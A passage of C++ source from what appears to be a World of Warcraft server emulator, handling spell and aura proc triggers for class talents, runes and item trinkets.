basepoints[0] = triggerAmount * damage / 100;
triggered_spell_id = 50526;
break;
}
// Blood of the North and Reaping
if (dummySpell->SpellIconID == 3041 || dummySpell->SpellIconID == 22)
{
if(GetTypeId()!=TYPEID_PLAYER)
return SPELL_AURA_PROC_FAILED;
Player *player = (Player*)this;
for (uint32 i = 0; i < MAX_RUNES; ++i)
{
if (player->GetCurrentRune(i) == RUNE_BLOOD)
{
if(!player->GetRuneCooldown(i))
player->ConvertRune(i, RUNE_DEATH, dummySpell->Id);
else
{
// search for another rune that might be available
for (uint32 iter = i; iter < MAX_RUNES; ++iter)
{
if(player->GetCurrentRune(iter) == RUNE_BLOOD && !player->GetRuneCooldown(iter))
{
player->ConvertRune(iter, RUNE_DEATH, dummySpell->Id);
triggeredByAura->SetAuraPeriodicTimer(0);
return SPELL_AURA_PROC_OK;
}
}
player->SetNeedConvertRune(i, true, dummySpell->Id);
}
triggeredByAura->SetAuraPeriodicTimer(0);
return SPELL_AURA_PROC_OK;
}
}
return SPELL_AURA_PROC_FAILED;
}
// Death Rune Mastery
if (dummySpell->SpellIconID == 2622)
{
if(GetTypeId()!=TYPEID_PLAYER)
return SPELL_AURA_PROC_FAILED;
Player *player = (Player*)this;
for (uint32 i = 0; i < MAX_RUNES; ++i)
{
RuneType currRune = player->GetCurrentRune(i);
if (currRune == RUNE_UNHOLY || currRune == RUNE_FROST)
{
uint16 cd = player->GetRuneCooldown(i);
if(!cd)
player->ConvertRune(i, RUNE_DEATH, dummySpell->Id);
else // there is a cd
player->SetNeedConvertRune(i, true, dummySpell->Id);
// no break because it converts all
}
}
triggeredByAura->SetAuraPeriodicTimer(0);
return SPELL_AURA_PROC_OK;
}
// Hungering Cold - not break from diseases
if (dummySpell->SpellIconID == 2797)
{
if (procSpell && procSpell->Dispel == DISPEL_DISEASE)
return SPELL_AURA_PROC_FAILED;
}
// Blood-Caked Blade
if (dummySpell->SpellIconID == 138)
{
// only main hand melee auto attack affected and Rune Strike
if ((procFlag & PROC_FLAG_SUCCESSFUL_OFFHAND_HIT) || procSpell && procSpell->Id != 56815)
return SPELL_AURA_PROC_FAILED;
// triggered_spell_id in spell data
break;
}
break;
}
case SPELLFAMILY_PET:
{
// Improved Cower
if (dummySpell->SpellIconID == 958 && procSpell->SpellIconID == 958)
{
triggered_spell_id = dummySpell->Id == 53180 ? 54200 : 54201;
target = this;
break;
}
// Guard Dog
if (dummySpell->SpellIconID == 201 && procSpell->SpellIconID == 201)
{
triggered_spell_id = 54445;
target = this;
break;
}
// Silverback
if (dummySpell->SpellIconID == 1582 && procSpell->SpellIconID == 201)
{
triggered_spell_id = dummySpell->Id == 62764 ? 62800 : 62801;
target = this;
break;
}
break;
}
default:
break;
}
// processed charge only counting case
if (!triggered_spell_id)
return SPELL_AURA_PROC_OK;
SpellEntry const* triggerEntry = sSpellStore.LookupEntry(triggered_spell_id);
if (!triggerEntry)
{
sLog.outError("Unit::HandleDummyAuraProc: Spell %u have nonexistent triggered spell %u",dummySpell->Id,triggered_spell_id);
return SPELL_AURA_PROC_FAILED;
}
// default case
if (!target || (target != this && !target->isAlive()))
return SPELL_AURA_PROC_FAILED;
if (cooldown && GetTypeId()==TYPEID_PLAYER && ((Player*)this)->HasSpellCooldown(triggered_spell_id))
return SPELL_AURA_PROC_FAILED;
if (basepoints[EFFECT_INDEX_0] || basepoints[EFFECT_INDEX_1] || basepoints[EFFECT_INDEX_2])
CastCustomSpell(target, triggerEntry,
basepoints[EFFECT_INDEX_0] ? &basepoints[EFFECT_INDEX_0] : NULL,
basepoints[EFFECT_INDEX_1] ? &basepoints[EFFECT_INDEX_1] : NULL,
basepoints[EFFECT_INDEX_2] ? &basepoints[EFFECT_INDEX_2] : NULL,
true, castItem, triggeredByAura, originalCaster);
else
CastSpell(target, triggerEntry, true, castItem, triggeredByAura);
if (cooldown && GetTypeId()==TYPEID_PLAYER)
((Player*)this)->AddSpellCooldown(triggered_spell_id,0,time(NULL) + cooldown);
return SPELL_AURA_PROC_OK;
}
SpellAuraProcResult Unit::HandleProcTriggerSpellAuraProc(Unit *pVictim, uint32 damage, Aura* triggeredByAura, SpellEntry const *procSpell, uint32 procFlags, uint32 procEx, uint32 cooldown)
{
// Get triggered aura spell info
SpellEntry const* auraSpellInfo = triggeredByAura->GetSpellProto();
// Basepoints of trigger aura
int32 triggerAmount = triggeredByAura->GetModifier()->m_amount;
// Set trigger spell id, target, custom basepoints
uint32 trigger_spell_id = auraSpellInfo->EffectTriggerSpell[triggeredByAura->GetEffIndex()];
Unit* target = NULL;
int32 basepoints[MAX_EFFECT_INDEX] = {0, 0, 0};
if(triggeredByAura->GetModifier()->m_auraname == SPELL_AURA_PROC_TRIGGER_SPELL_WITH_VALUE)
basepoints[0] = triggerAmount;
Item* castItem = !triggeredByAura->GetCastItemGuid().IsEmpty() && GetTypeId()==TYPEID_PLAYER
? ((Player*)this)->GetItemByGuid(triggeredByAura->GetCastItemGuid()) : NULL;
// Try handle unknown trigger spells
// Custom requirements (not listed in procEx) Warning! damage dealing after this
// Custom triggered spells
switch (auraSpellInfo->SpellFamilyName)
{
case SPELLFAMILY_GENERIC:
switch(auraSpellInfo->Id)
{
//case 191: // Elemental Response
// switch (procSpell->School)
// {
// case SPELL_SCHOOL_FIRE: trigger_spell_id = 34192; break;
// case SPELL_SCHOOL_FROST: trigger_spell_id = 34193; break;
// case SPELL_SCHOOL_ARCANE:trigger_spell_id = 34194; break;
// case SPELL_SCHOOL_NATURE:trigger_spell_id = 34195; break;
// case SPELL_SCHOOL_SHADOW:trigger_spell_id = 34196; break;
// case SPELL_SCHOOL_HOLY: trigger_spell_id = 34197; break;
// case SPELL_SCHOOL_NORMAL:trigger_spell_id = 34198; break;
// }
// break;
//case 5301: break; // Defensive State (DND)
//case 7137: break: // Shadow Charge (Rank 1)
//case 7377: break: // Take Immune Periodic Damage <Not Working>
//case 13358: break; // Defensive State (DND)
//case 16092: break; // Defensive State (DND)
//case 18943: break; // Double Attack
//case 19194: break; // Double Attack
//case 19817: break; // Double Attack
//case 19818: break; // Double Attack
//case 22835: break; // Drunken Rage
// trigger_spell_id = 14822; break;
case 23780: // Aegis of Preservation (Aegis of Preservation trinket)
trigger_spell_id = 23781;
break;
//case 24949: break; // Defensive State 2 (DND)
case 27522: // Mana Drain Trigger
case 40336: // Mana Drain Trigger
// On successful melee or ranged attack gain $29471s1 mana and if possible drain $27526s1 mana from the target.
if (isAlive())
CastSpell(this, 29471, true, castItem, triggeredByAura);
if (pVictim && pVictim->isAlive())
CastSpell(pVictim, 27526, true, castItem, triggeredByAura);
return SPELL_AURA_PROC_OK;
case 31255: // Deadly Swiftness (Rank 1)
// whenever you deal damage to a target who is below 20% health.
if (pVictim->GetHealth() > pVictim->GetMaxHealth() / 5)
return SPELL_AURA_PROC_FAILED;
target = this;
trigger_spell_id = 22588;
break;
//case 33207: break; // Gossip NPC Periodic - Fidget
case 33896: // Desperate Defense (Stonescythe Whelp, Stonescythe Alpha, Stonescythe Ambusher)
trigger_spell_id = 33898;
break;
//case 34082: break; // Advantaged State (DND)
//case 34783: break: // Spell Reflection
//case 35205: break: // Vanish
//case 35321: break; // Gushing Wound
//case 36096: break: // Spell Reflection
//case 36207: break: // Steal Weapon
//case 36576: break: // Shaleskin (Shaleskin Flayer, Shaleskin Ripper) 30023 trigger
//case 37030: break; // Chaotic Temperament
case 38164: // Unyielding Knights
if (pVictim->GetEntry() != 19457)
return SPELL_AURA_PROC_FAILED;
break;
//case 38363: break; // Gushing Wound
//case 39215: break; // Gushing Wound
//case 40250: break; // Improved Duration
//case 40329: break; // Demo Shout Sensor
//case 40364: break; // Entangling Roots Sensor
//case 41054: break; // Copy Weapon
// trigger_spell_id = 41055; break;
//case 41248: break; // Consuming Strikes
// trigger_spell_id = 41249; break;
//case 42730: break: // Woe Strike
//case 43453: break: // Rune Ward
//case 43504: break; // Alterac Valley OnKill Proc Aura
//case 44326: break: // Pure Energy Passive
//case 44526: break; // Hate Monster (Spar) (30 sec)
//case 44527: break; // Hate Monster (Spar Buddy) (30 sec)
//case 44819: break; // Hate Monster (Spar Buddy) (>30% Health)
//case 44820: break; // Hate Monster (Spar) (<30%)
case 45057: // Evasive Maneuvers (Commendation of Kael`thas trinket)
// reduce you below $s1% health
if (GetHealth() - damage > GetMaxHealth() * triggerAmount / 100)
return SPELL_AURA_PROC_FAILED;
break;
//case 45903: break: // Offensive State
//case 46146: break: // [PH] Ahune Spanky Hands
//case 46939: break; // Black Bow of the Betrayer
// trigger_spell_id = 29471; - gain mana
// 27526; - drain mana if possible
case 43820: // Charm of the Witch Doctor (Amani Charm of the Witch Doctor trinket)
// Pct value stored in dummy
basepoints[0] = pVictim->GetCreateHealth() * auraSpellInfo->CalculateSimpleValue(EFFECT_INDEX_1) / 100;
target = pVictim;
break;
//case 45205: break; // Copy Offhand Weapon
//case 45343: break; // Dark Flame Aura
//case 47300: break; // Dark Flame Aura
//case 48876: break; // Beast's Mark
// trigger_spell_id = 48877; break;
//case 49059: break; // Horde, Hate Monster (Spar Buddy) (>30% Health)
//case 50051: break; // Ethereal Pet Aura
//case 50689: break; // Blood Presence (Rank 1)
//case 50844: break; // Blood Mirror
//case 52856: break; // Charge
//case 54072: break; // Knockback Ball Passive
//case 54476: break; // Blood Presence
//case 54775: break; // Abandon Vehicle on Poly
case 56702: //
{
trigger_spell_id = 56701;
break;
}
case 57345: // Darkmoon Card: Greatness
{
float stat = 0.0f;
// strength
if (GetStat(STAT_STRENGTH) > stat) { trigger_spell_id = 60229;stat = GetStat(STAT_STRENGTH); }
// agility
if (GetStat(STAT_AGILITY) > stat) { trigger_spell_id = 60233;stat = GetStat(STAT_AGILITY); }
// intellect
if (GetStat(STAT_INTELLECT)> stat) { trigger_spell_id = 60234;stat = GetStat(STAT_INTELLECT);}
// spirit
if (GetStat(STAT_SPIRIT) > stat) { trigger_spell_id = 60235; }
break;
}
//case 55580: break: // Mana Link
//case 57587: break: // Steal Ranged ()
//case 57594: break; // Copy Ranged Weapon
//case 59237: break; // Beast's Mark
// trigger_spell_id = 59233; break;
//case 59288: break; // Infra-Green Shield
//case 59532: break; // Abandon Passengers on Poly
//case 59735: break: // Woe Strike
case 64415: // // Val'anyr Hammer of Ancient Kings - Equip Effect
{
// for DOT procs
if (!IsPositiveSpell(procSpell->Id))
return SPELL_AURA_PROC_FAILED;
break;
}
case 64440: // Blade Warding
{
trigger_spell_id = 64442;
// need scale damage base at stack size
if (SpellEntry const* trigEntry = sSpellStore.LookupEntry(trigger_spell_id))
basepoints[EFFECT_INDEX_0] = trigEntry->CalculateSimpleValue(EFFECT_INDEX_0) * triggeredByAura->GetStackAmount();
break;
}
case 64568: // Blood Reserve
{
// Check health condition - should drop to less 35%
if (!(10*(int32(GetHealth() - damage)) < 3.5 * GetMaxHealth()))
return SPELL_AURA_PROC_FAILED;
if (!roll_chance_f(50))
return SPELL_AURA_PROC_FAILED;
trigger_spell_id = 64569;
basepoints[0] = triggerAmount;
break;
}
case 67702: // Death's Choice, Item - Coliseum 25 Normal Melee Trinket
{
float stat = 0.0f;
// strength
if (GetStat(STAT_STRENGTH) > stat) { trigger_spell_id = 67708;stat = GetStat(STAT_STRENGTH); }
// agility
if (GetStat(STAT_AGILITY) > stat) { trigger_spell_id = 67703; }
break;
}
case 67771: // Death's Choice (heroic), Item - Coliseum 25 Heroic Melee Trinket
{
float stat = 0.0f;
// strength
if (GetStat(STAT_STRENGTH) > stat) { trigger_spell_id = 67773;stat = GetStat(STAT_STRENGTH); }
// agility
if (GetStat(STAT_AGILITY) > stat) { trigger_spell_id = 67772; }
break;
}
case 72178: // Blood link Saurfang aura
{
target = this;
trigger_spell_id = 72195;
break;
}
}
break;
case SPELLFAMILY_MAGE:
if (auraSpellInfo->SpellIconID == 2127) // Blazing Speed
{
switch (auraSpellInfo->Id)
{
case 31641: // Rank 1
case 31642: // Rank 2
trigger_spell_id = 31643;
break;
default:
sLog.outError("Unit::HandleProcTriggerSpellAuraProc: Spell %u miss possibly Blazing Speed",auraSpellInfo->Id);
return SPELL_AURA_PROC_FAILED;
}
}
else if(auraSpellInfo->Id == 26467) // Persistent Shield (Scarab Brooch trinket)
{
// This spell originally trigger 13567 - Dummy Trigger (vs dummy effect)
basepoints[0] = damage * 15 / 100;
target = pVictim;
trigger_spell_id = 26470;
}
else if(auraSpellInfo->Id == 71761) // Deep Freeze Immunity State
{
// spell applied only to permanent immunes to stun targets (bosses)
if (pVictim->GetTypeId() != TYPEID_UNIT ||
(((Creature*)pVictim)->GetCreatureInfo()->MechanicImmuneMask & (1 << (MECHANIC_STUN - 1))) == 0)
return SPELL_AURA_PROC_FAILED;
}
break;
case SPELLFAMILY_WARRIOR:
// Deep Wounds (replace triggered spells to directly apply DoT), dot spell have familyflags
if (auraSpellInfo->SpellFamilyFlags == UI64LIT(0x0) && auraSpellInfo->SpellIconID == 243)
{
float weaponDamage;
// DW should benefit of attack power, damage percent mods etc.
// TODO: check if using offhand damage is correct and if it should be divided by 2
if (haveOffhandWeapon() && getAttackTimer(BASE_ATTACK) > getAttackTimer(OFF_ATTACK))
weaponDamage = (GetFloatValue(UNIT_FIELD_MINOFFHANDDAMAGE) + GetFloatValue(UNIT_FIELD_MAXOFFHANDDAMAGE))/2;
else
weaponDamage = (GetFloatValue(UNIT_FIELD_MINDAMAGE) + GetFloatValue(UNIT_FIELD_MAXDAMAGE))/2;
switch (auraSpellInfo->Id)
{
case 12834: basepoints[0] = int32(weaponDamage * 16 / 100); break;
case 12849: basepoints[0] = int32(weaponDamage * 32 / 100); break;
case 12867: basepoints[0] = int32(weaponDamage * 48 / 100); break;
// Impossible case
default:
sLog.outError("Unit::HandleProcTriggerSpellAuraProc: DW unknown spell rank %u",auraSpellInfo->Id);
return SPELL_AURA_PROC_FAILED;
}
// 1 tick/sec * 6 sec = 6 ticks
basepoints[0] /= 6;
trigger_spell_id = 12721;
break;
}
if (auraSpellInfo->Id == 50421) // Scent of Blood
trigger_spell_id = 50422;
break;
case SPELLFAMILY_WARLOCK:
{
// Drain Soul
if (auraSpellInfo->SpellFamilyFlags & UI64LIT(0x0000000000004000))
{
// search for "Improved Drain Soul" dummy aura
Unit::AuraList const& mDummyAura = GetAurasByType(SPELL_AURA_DUMMY);
for(Unit::AuraList::const_iterator i = mDummyAura.begin(); i != mDummyAura.end(); ++i)
{
if ((*i)->GetSpellProto()->SpellFamilyName == SPELLFAMILY_WARLOCK && (*i)->GetSpellProto()->SpellIconID == 113)
{
// basepoints of trigger spell stored in dummyeffect of spellProto
int32 basepoints = GetMaxPower(POWER_MANA) * (*i)->GetSpellProto()->CalculateSimpleValue(EFFECT_INDEX_2) / 100;
CastCustomSpell(this, 18371, &basepoints, NULL, NULL, true, castItem, triggeredByAura);
break;
}
}
// Not remove charge (aura removed on death in any cases)
// Need for correct work Drain Soul SPELL_AURA_CHANNEL_DEATH_ITEM aura
return SPELL_AURA_PROC_FAILED;
}
// Nether Protection
else if (auraSpellInfo->SpellIconID == 1985)
{
if (!procSpell)
return SPELL_AURA_PROC_FAILED;
switch(GetFirstSchoolInMask(GetSpellSchoolMask(procSpell)))
{
case SPELL_SCHOOL_NORMAL:
return SPELL_AURA_PROC_FAILED; // ignore
case SPELL_SCHOOL_HOLY: trigger_spell_id = 54370; break;
case SPELL_SCHOOL_FIRE: trigger_spell_id = 54371; break;
case SPELL_SCHOOL_NATURE: trigger_spell_id = 54375; break;
case SPELL_SCHOOL_FROST: trigger_spell_id = 54372; break;
case SPELL_SCHOOL_SHADOW: trigger_spell_id = 54374; break;
case SPELL_SCHOOL_ARCANE: trigger_spell_id = 54373; break;
default:
return SPELL_AURA_PROC_FAILED;
}
}
// Cheat Death
else if (auraSpellInfo->Id == 28845)
{
// When your health drops below 20% ....
if (GetHealth() - damage > GetMaxHealth() / 5 || GetHealth() < GetMaxHealth() / 5)
return SPELL_AURA_PROC_FAILED;
}
// Decimation
else if (auraSpellInfo->Id == 63156 || auraSpellInfo->Id == 63158)
{
// Looking for dummy effect
Aura *aur = GetAura(auraSpellInfo->Id, EFFECT_INDEX_1);
if (!aur)
return SPELL_AURA_PROC_FAILED;
// If target's health is not below equal certain value (35%) not proc
if (int32(pVictim->GetHealth() * 100 / pVictim->GetMaxHealth()) > aur->GetModifier()->m_amount)
return SPELL_AURA_PROC_FAILED;
}
break;
}
case SPELLFAMILY_PRIEST:
{
// Greater Heal Refund (Avatar Raiment set)
if (auraSpellInfo->Id==37594)
{
// Not give if target already have full health
if (pVictim->GetHealth() == pVictim->GetMaxHealth())
return SPELL_AURA_PROC_FAILED;
// If your Greater Heal brings the target to full health, you gain $37595s1 mana.
if (pVictim->GetHealth() + damage < pVictim->GetMaxHealth())
return SPELL_AURA_PROC_FAILED;
trigger_spell_id = 37595;
}
// Blessed Recovery
else if (auraSpellInfo->SpellIconID == 1875)
{
switch (auraSpellInfo->Id)
{
case 27811: trigger_spell_id = 27813; break;
case 27815: trigger_spell_id = 27817; break;
case 27816: trigger_spell_id = 27818; break;
default:
sLog.outError("Unit::HandleProcTriggerSpellAuraProc: Spell %u not handled in BR", auraSpellInfo->Id);
return SPELL_AURA_PROC_FAILED;
}
basepoints[0] = damage * triggerAmount / 100 / 3;
target = this;
}
// Glyph of Shadow Word: Pain
else if (auraSpellInfo->Id == 55681)
basepoints[0] = triggerAmount * GetCreateMana() / 100;
break;
}
case SPELLFAMILY_DRUID:
{
// Druid Forms Trinket
if (auraSpellInfo->Id==37336)
{
switch(GetShapeshiftForm())
{
case FORM_NONE: trigger_spell_id = 37344;break;
case FORM_CAT: trigger_spell_id = 37341;break;
case FORM_BEAR:
case FORM_DIREBEAR: trigger_spell_id = 37340;break;
case FORM_TREE: trigger_spell_id = 37342;break;
case FORM_MOONKIN: trigger_spell_id = 37343;break;
default:
return SPELL_AURA_PROC_FAILED;
}
}
// Druid T9 Feral Relic (Lacerate, Swipe, Mangle, and Shred)
else if (auraSpellInfo->Id==67353)
{
switch(GetShapeshiftForm())
{
case FORM_CAT: trigger_spell_id = 67355; break;
case FORM_BEAR:
case FORM_DIREBEAR: trigger_spell_id = 67354; break;
default:
return SPELL_AURA_PROC_FAILED;
}
}
break;
}
case SPELLFAMILY_ROGUE:
// Item - Rogue T10 2P Bonus
if (auraSpellInfo->Id == 70805)
{
if (pVictim != this)
return SPELL_AURA_PROC_FAILED;
}
// Item - Rogue T10 4P Bonus
else if (auraSpellInfo->Id == 70803)
{
if (!procSpell)
return SPELL_AURA_PROC_FAILED;
// only allow melee finishing move to proc
if (!(procSpell->AttributesEx & SPELL_ATTR_EX_REQ_TARGET_COMBO_POINTS) || procSpell->Id == 26679)
return SPELL_AURA_PROC_FAILED;
trigger_spell_id = 70802;
target = this;
}
break;
case SPELLFAMILY_HUNTER:
{
// Piercing Shots
if (auraSpellInfo->SpellIconID == 3247 && auraSpellInfo->SpellVisual[0] == 0)
{
basepoints[0] = damage * triggerAmount / 100 / 8;
trigger_spell_id = 63468;
target = pVictim;
}
// Rapid Recuperation
else if (auraSpellInfo->Id == 53228 || auraSpellInfo->Id == 53232)
{
// This effect only from Rapid Fire (ability cast)
if (!(procSpell->SpellFamilyFlags & UI64LIT(0x0000000000000020)))
return SPELL_AURA_PROC_FAILED;
}
// Entrapment correction
else if ((auraSpellInfo->Id == 19184 || auraSpellInfo->Id == 19387 || auraSpellInfo->Id == 19388) &&
!(procSpell->SpellFamilyFlags & UI64LIT(0x200000000000) || procSpell->SpellFamilyFlags2 & UI64LIT(0x40000)))
return SPELL_AURA_PROC_FAILED;
// Lock and Load
else if (auraSpellInfo->SpellIconID == 3579)
{
// Check for Lock and Load Marker
if (HasAura(67544))
return SPELL_AURA_PROC_FAILED;
}
break;
}
case SPELLFAMILY_PALADIN:
{
/*
// Blessed Life
if (auraSpellInfo->SpellIconID == 2137)
{
switch (auraSpellInfo->Id)
{
case 31828: // Rank 1
case 31829: // Rank 2
case 31830: // Rank 3
break;
default:
sLog.outError("Unit::HandleProcTriggerSpellAuraProc: Spell %u miss posibly Blessed Life", auraSpellInfo->Id);
return SPELL_AURA_PROC_FAILED;
}
}
*/
// Healing Discount
if (auraSpellInfo->Id==37705)
{
trigger_spell_id = 37706;
target = this;
}
// Soul Preserver
if (auraSpellInfo->Id==60510)
{
trigger_spell_id = 60515;
target = this;
}
// Illumination
else if (auraSpellInfo->SpellIconID==241)
{
if(!procSpell)
return SPELL_AURA_PROC_FAILED;
// procspell is triggered spell but we need mana cost of original casted spell
uint32 originalSpellId = procSpell->Id;
// Holy Shock heal
if (procSpell->SpellFamilyFlags & UI64LIT(0x0001000000000000))
{
switch(procSpell->Id)
{
case 25914: originalSpellId = 20473; break;
case 25913: originalSpellId = 20929; break;
case 25903: originalSpellId = 20930; break;
case 27175: originalSpellId = 27174; break;
case 33074: originalSpellId = 33072; break;
case 48820: originalSpellId = 48824; break;
case 48821: originalSpellId = 48825; break;
default:
sLog.outError("Unit::HandleProcTriggerSpellAuraProc: Spell %u not handled in HShock",procSpell->Id);
return SPELL_AURA_PROC_FAILED;
}
}
SpellEntry const *originalSpell = sSpellStore.LookupEntry(originalSpellId);
if(!originalSpell)
{
sLog.outError("Unit::HandleProcTriggerSpellAuraProc: Spell %u unknown but selected as original in Illu",originalSpellId);
return SPELL_AURA_PROC_FAILED;
}
// percent stored in effect 1 (class scripts) base points
int32 cost = originalSpell->manaCost + originalSpell->ManaCostPercentage * GetCreateMana() / 100;
basepoints[0] = cost*auraSpellInfo->CalculateSimpleValue(EFFECT_INDEX_1)/100;
trigger_spell_id = 20272;
target = this;
}
// Lightning Capacitor
else if (auraSpellInfo->Id==37657)
{
if(!pVictim || !pVictim->isAlive())
return SPELL_AURA_PROC_FAILED;
// stacking
CastSpell(this, 37658, true, NULL, triggeredByAura);
Aura * dummy = GetDummyAura(37658);
// release at 3 aura in stack (cont contain in basepoint of trigger aura)
if(!dummy || dummy->GetStackAmount() < uint32(triggerAmount))
return SPELL_AURA_PROC_FAILED;
RemoveAurasDueToSpell(37658);
trigger_spell_id = 37661;
target = pVictim;
}
// Bonus Healing (Crystal Spire of Karabor mace)
else if (auraSpellInfo->Id == 40971)
{
// If your target is below $s1% health
if (pVictim->GetHealth() > pVictim->GetMaxHealth() * triggerAmount / 100)
return SPELL_AURA_PROC_FAILED;
}
// Thunder Capacitor
else if (auraSpellInfo->Id == 54841)
{
if(!pVictim || !pVictim->isAlive())
return SPELL_AURA_PROC_FAILED;
// stacking
CastSpell(this, 54842, true, NULL, triggeredByAura);
// counting
Aura * dummy = GetDummyAura(54842);
// release at 3 aura in stack (cont contain in basepoint of trigger aura)
if(!dummy || dummy->GetStackAmount() < uint32(triggerAmount))
return SPELL_AURA_PROC_FAILED;
RemoveAurasDueToSpell(54842);
trigger_spell_id = 54843;
target = pVictim;
}
break;
}
case SPELLFAMILY_SHAMAN:
{
// Lightning Shield (overwrite non existing triggered spell call in spell.dbc
if (auraSpellInfo->SpellFamilyFlags & UI64LIT(0x0000000000000400) && auraSpellInfo->SpellVisual[0] == 37)
{
switch(auraSpellInfo->Id)
{
case 324: // Rank 1
trigger_spell_id = 26364; break;
case 325: // Rank 2
trigger_spell_id = 26365; break;
case 905: // Rank 3
trigger_spell_id = 26366; break;
case 945: // Rank 4
trigger_spell_id = 26367; break;
case 8134: // Rank 5
trigger_spell_id = 26369; break;
case 10431: // Rank 6
trigger_spell_id = 26370; break;
case 10432: // Rank 7
trigger_spell_id = 26363; break;
case 25469: // Rank 8
trigger_spell_id = 26371; break;
case 25472: // Rank 9
trigger_spell_id = 26372; break;
case 49280: // Rank 10
trigger_spell_id = 49278; break;
case 49281: // Rank 11
trigger_spell_id = 49279; break;
default:
sLog.outError("Unit::HandleProcTriggerSpellAuraProc: Spell %u not handled in LShield", auraSpellInfo->Id);
return SPELL_AURA_PROC_FAILED;
}
}
// Lightning Shield (The Ten Storms set)
else if (auraSpellInfo->Id == 23551)
{
trigger_spell_id = 23552;
target = pVictim;
}
// Damage from Lightning Shield (The Ten Storms set)
else if (auraSpellInfo->Id == 23552)
trigger_spell_id = 27635;
// Mana Surge (The Earthfury set)
else if (auraSpellInfo->Id == 23572)
{
if(!procSpell)
return SPELL_AURA_PROC_FAILED;
basepoints[0] = procSpell->manaCost * 35 / 100;
trigger_spell_id = 23571;
target = this;
}
// Nature's Guardian
else if (auraSpellInfo->SpellIconID == 2013)
{
// Check health condition - should drop to less 30% (damage deal after this!)
if (!(10*(int32(GetHealth() - damage)) < int32(3 * GetMaxHealth())))
return SPELL_AURA_PROC_FAILED;
if(pVictim && pVictim->isAlive())
pVictim->getThreatManager().modifyThreatPercent(this,-10);
basepoints[0] = triggerAmount * GetMaxHealth() / 100;
trigger_spell_id = 31616;
target = this;
}
// Item - Shaman T10 Restoration 2P Bonus
else if (auraSpellInfo->Id == 70807)
{
if (!procSpell)
return SPELL_AURA_PROC_FAILED;
// only allow Riptide to proc
switch(procSpell->Id)
{
case 61295: // Rank 1
case 61299: // Rank 2
case 61300: // Rank 3
case 61301: // Rank 4
break;
default:
return SPELL_AURA_PROC_FAILED;
}
trigger_spell_id = 70806;
target = this;
}
break;
}
case SPELLFAMILY_DEATHKNIGHT:
{
// Acclimation
if (auraSpellInfo->SpellIconID == 1930)
{
if (!procSpell)
return SPELL_AURA_PROC_FAILED;
switch(GetFirstSchoolInMask(GetSpellSchoolMask(procSpell)))
{
case SPELL_SCHOOL_NORMAL:
return SPELL_AURA_PROC_FAILED; // ignore
case SPELL_SCHOOL_HOLY: trigger_spell_id = 50490; break;
case SPELL_SCHOOL_FIRE: trigger_spell_id = 50362; break;
case SPELL_SCHOOL_NATURE: trigger_spell_id = 50488; break;
case SPELL_SCHOOL_FROST: trigger_spell_id = 50485; break;
case SPELL_SCHOOL_SHADOW: trigger_spell_id = 50489; break;
case SPELL_SCHOOL_ARCANE: trigger_spell_id = 50486; break;
default:
return SPELL_AURA_PROC_FAILED;
}
}
// Glyph of Death's Embrace
else if (auraSpellInfo->Id == 58677)
{
if (procSpell->Id != 47633)
return SPELL_AURA_PROC_FAILED;
}
//Glyph of Death Grip
if (auraSpellInfo->Id == 62259)
{
//remove cooldown of Death Grip
if (GetTypeId() == TYPEID_PLAYER)
((Player*)this)->RemoveSpellCooldown(49576, true);
return SPELL_AURA_PROC_OK;
}
// Item - Death Knight T10 Melee 4P Bonus
else if (auraSpellInfo->Id == 70656)
{
if (GetTypeId() != TYPEID_PLAYER || getClass() != CLASS_DEATH_KNIGHT)
return SPELL_AURA_PROC_FAILED;
for(uint32 i = 0; i < MAX_RUNES; ++i)
if (((Player*)this)->GetRuneCooldown(i) == 0)
return SPELL_AURA_PROC_FAILED;
}
// Blade Barrier
else if (auraSpellInfo->SpellIconID == 85)
{
if (GetTypeId() != TYPEID_PLAYER || getClass() != CLASS_DEATH_KNIGHT ||
!((Player*)this)->IsBaseRuneSlotsOnCooldown(RUNE_BLOOD))
return SPELL_AURA_PROC_FAILED;
}
// Improved Blood Presence
else if (auraSpellInfo->Id == 63611)
{
if (GetTypeId() != TYPEID_PLAYER || !((Player*)this)->isHonorOrXPTarget(pVictim) || !damage)
return SPELL_AURA_PROC_FAILED;
basepoints[0] = triggerAmount * damage / 100;
trigger_spell_id = 50475;
}
// Glyph of Death's Embrace
else if (auraSpellInfo->Id == 58677)
{
if (procSpell->Id != 47633)
return SPELL_AURA_PROC_FAILED;
}
break;
}
default:
break;
}
// All ok. Check current trigger spell
SpellEntry const* triggerEntry = sSpellStore.LookupEntry(trigger_spell_id);
if (!triggerEntry)
{
// Not cast unknown spell
// sLog.outError("Unit::HandleProcTriggerSpellAuraProc: Spell %u have 0 in EffectTriggered[%d], not handled custom case?",auraSpellInfo->Id,triggeredByAura->GetEffIndex());
return SPELL_AURA_PROC_FAILED;
}
// not allow proc extra attack spell at extra attack
if (m_extraAttacks && IsSpellHaveEffect(triggerEntry, SPELL_EFFECT_ADD_EXTRA_ATTACKS))
return SPELL_AURA_PROC_FAILED;
// Custom basepoints/target for exist spell
// dummy basepoints or other customs
switch(trigger_spell_id)
{
// Cast positive spell on enemy target
case 7099: // Curse of Mending
case 39647: // Curse of Mending
case 29494: // Temptation
case 20233: // Improved Lay on Hands (cast on target)
{
target = pVictim;
break;
}
// Combo points add triggers (need add combopoint only for main target, and after possible combopoints reset)
case 15250: // Rogue Setup
{
if(!pVictim || pVictim != getVictim()) // applied only for main target
return SPELL_AURA_PROC_FAILED;
break; // continue normal case
}
// Finishing moves that add combo points
case 14189: // Seal Fate (Netherblade set)
case 14157: // Ruthlessness
case 70802: // Mayhem (Shadowblade sets)
{
// Need add combopoint AFTER finishing move (or they get dropped in finish phase)
if (Spell* spell = GetCurrentSpell(CURRENT_GENERIC_SPELL))
{
spell->AddTriggeredSpell(trigger_spell_id);
return SPELL_AURA_PROC_OK;
}
return SPELL_AURA_PROC_FAILED;
}
// Bloodthirst (($m/100)% of max health)
case 23880:
{
basepoints[0] = int32(GetMaxHealth() * triggerAmount / 100);
break;
}
// Shamanistic Rage triggered spell
case 30824:
{
basepoints[0] = int32(GetTotalAttackPowerValue(BASE_ATTACK) * triggerAmount / 100);
break;
}
// Enlightenment (trigger only from mana cost spells)
case 35095:
{
if(!procSpell || procSpell->powerType!=POWER_MANA || procSpell->manaCost==0 && procSpell->ManaCostPercentage==0 && procSpell->manaCostPerlevel==0)
return SPELL_AURA_PROC_FAILED;
break;
}
// Demonic Pact
case 48090:
{
// As the spell is proced from pet's attack - find owner
Unit* owner = GetOwner();
if (!owner || owner->GetTypeId() != TYPEID_PLAYER)
return SPELL_AURA_PROC_FAILED;
// This spell doesn't stack, but refreshes duration. So we receive current bonuses to minus them later.
